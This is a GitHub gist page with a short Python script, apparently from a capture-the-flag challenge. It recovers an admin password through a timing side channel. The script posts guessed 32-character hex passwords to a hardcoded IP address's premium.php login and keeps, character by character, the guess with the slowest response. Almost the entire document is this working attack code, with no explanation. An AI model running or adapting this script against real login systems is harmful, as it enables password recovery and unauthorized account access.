Skip to content

Instantly share code, notes, and snippets.

@shunkp
Created September 19, 2015 19:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shunkp/d6ea7c5b9e17130cc035 to your computer and use it in GitHub Desktop.
Save shunkp/d6ea7c5b9e17130cc035 to your computer and use it in GitHub Desktop.
import requests
from time import sleep
def challenge3(bURL, passwd):
values = {'username': 'admin', 'password': passwd}
r = requests.post(bURL, data=values)
result = r.text.split('<h1>')[1].split('</h1>')[0]
return (result, r.elapsed.microseconds)
def blah():
# 32, a-f0-9
start = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
print('Starting string: {0}'.format(start))
i = 0
for i in range(0, len(start)):
print("---------------------------------------")
max = 0
tmpstring = ""
for c in 'abcdef0123456789':
sleep(1)
tmp = start[:i] + c + start[i + 1:]
resp = challenge3("http://54.175.3.248:8089/premium.php", tmp)
print("String: {0}\nTook: {1}\n".format(tmp,resp[1]))
if resp[1] > max:
tmpstring = tmp
max = resp[1]
start = tmpstring
print("\nWent with: {0}\nTime: {1}\nResponse: {2}".format(tmpstring, max, resp[0]))
if __name__ == "__main__":
blah()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment